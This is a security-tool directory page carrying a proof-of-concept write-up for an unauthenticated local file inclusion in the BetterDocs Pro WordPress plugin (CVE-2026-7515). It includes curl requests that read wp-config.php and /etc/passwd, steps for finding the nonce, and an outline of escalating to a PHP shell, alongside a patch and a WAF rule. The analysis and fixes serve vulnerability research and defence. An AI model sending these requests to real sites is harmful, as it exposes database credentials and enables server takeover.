Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
By-Poloss..-..CVE-2026-7515-PoC — Unauthenticated Local File Inclusion | Kitploit
Tools/GitHubGitHub/polosss/by-poloss..-..cve-2026-7515-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubpolosss/by-poloss..-..cve-2026-7515-poc

By-Poloss..-..CVE-2026-7515-PoC

Unauthenticated Local File Inclusion

View Repository
142 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-7515: BetterDocs Pro <= 3.8.0 - Unauthenticated Local File Inclusion

Overview

FieldValue
CVE IDCVE-2026-7515
CVSS Score9.8 (Critical)
CVSS VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AffectedBetterDocs Pro <= 3.8.0
Patched3.8.1
ResearcherNguyen Ngoc Duc (duc193)
PublishedJune 18, 2026
CWECWE-98: Improper Control of Filename for Include/Require Statement

Vulnerability Description

The BetterDocs Pro plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 3.8.0 via the doc_style parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary PHP files on the server.

Taint Analysis: Source → Sink

Source (User Input)

File: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Line: 141

root@kitploit:~
// VULNERABLE CODE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Problem: User-controlled input from $_POST['doc_style'] is directly used without any validation.

Sink (Dangerous Function)

File: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Line: 195

root@kitploit:~
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);

Problem: The $doc_style variable (user-controlled) is directly interpolated into the file path passed to views->get(), which includes the file.

Data Flow

root@kitploit:~
HTTP POST Request
        ↓
$_POST['doc_style'] = "../../../../../../wp-config"
        ↓
NO VALIDATION (vulnerable version 3.8.0)
        ↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        ↓
File Inclusion via include() or require()
        ↓
Arbitrary PHP Code Execution / File Read

Diff: Vulnerable vs Patched

Vulnerable Version 3.8.0

root@kitploit:~
// Line 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Patched Version 3.8.1

root@kitploit:~
// Line 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Key Differences

AspectVulnerable (3.8.0)Patched (3.8.1)
ValidationNoneWhitelist with in_array()
Allowed ValuesAny stringOnly doc-grid, doc-list, doc-list-2
Type CheckingNoStrict (===) comparison

Affected AJAX Endpoints

Both endpoints register with nopriv hooks, meaning they are accessible to unauthenticated users:

root@kitploit:~
// Line 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// Line 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);

Endpoints:

  1. POST /wp-admin/admin-ajax.php?action=load_more_docs_section
  2. POST /wp-admin/admin-ajax.php?action=load_more_docs

Proof of Concept

Prerequisites

  • Valid encyclopedia_nonce (found in page source on pages with BetterDocs Encyclopedia block)

Manual Exploitation

root@kitploit:~
# Step 1: Read wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# Step 2: Read /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"

Finding the Nonce

The encyclopedia_nonce is exposed in JavaScript on pages where BetterDocs Encyclopedia block is rendered:

root@kitploit:~
// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- This is what you need
};

LFI to RCE Path

  1. Read wp-config.php - Extract database credentials
  2. Upload PHP shell - Via WordPress media upload or theme editor
  3. Include malicious file - Via LFI vulnerability
  4. Execute code - Gain remote code execution

Impact

Impact TypeSeverityDescription
ConfidentialityHIGHRead arbitrary files (wp-config.php, /etc/passwd, etc.)
IntegrityHIGHModify or delete files
AvailabilityHIGHDenial of service
Access VectorNetworkExploitable remotely
PrivilegesNoneNo authentication required
User InteractionNoneNot required

Remediation

Primary Fix

Update to BetterDocs Pro version 3.8.1 or later

Manual Fix (if update not possible)

Apply the following patch to includes/Core/Encyclopedia.php:

root@kitploit:~
// Replace line 141 with:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Apply the same fix to line 236.

WAF Rules (Temporary Mitigation)

Add rule to block path traversal in doc_style parameter:

root@kitploit:~
# Block doc_style with path traversal patterns
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'LFI Attempt Blocked'"

References

  • Wordfence Intelligence
  • BetterDocs Official
  • CVE Details
  • WPVDB

Files Analyzed

root@kitploit:~
Vulnerable Version: betterdocs-pro_3.8.0.zip
Patched Version:   betterdocs-pro_3.9.0.zip

Key Files:
- includes/Core/Encyclopedia.php    (VULNERABLE)
- includes/Core/Scripts.php         (Contains nonce generation)
- includes/Utils/Views.php          (File inclusion logic)
Download Tool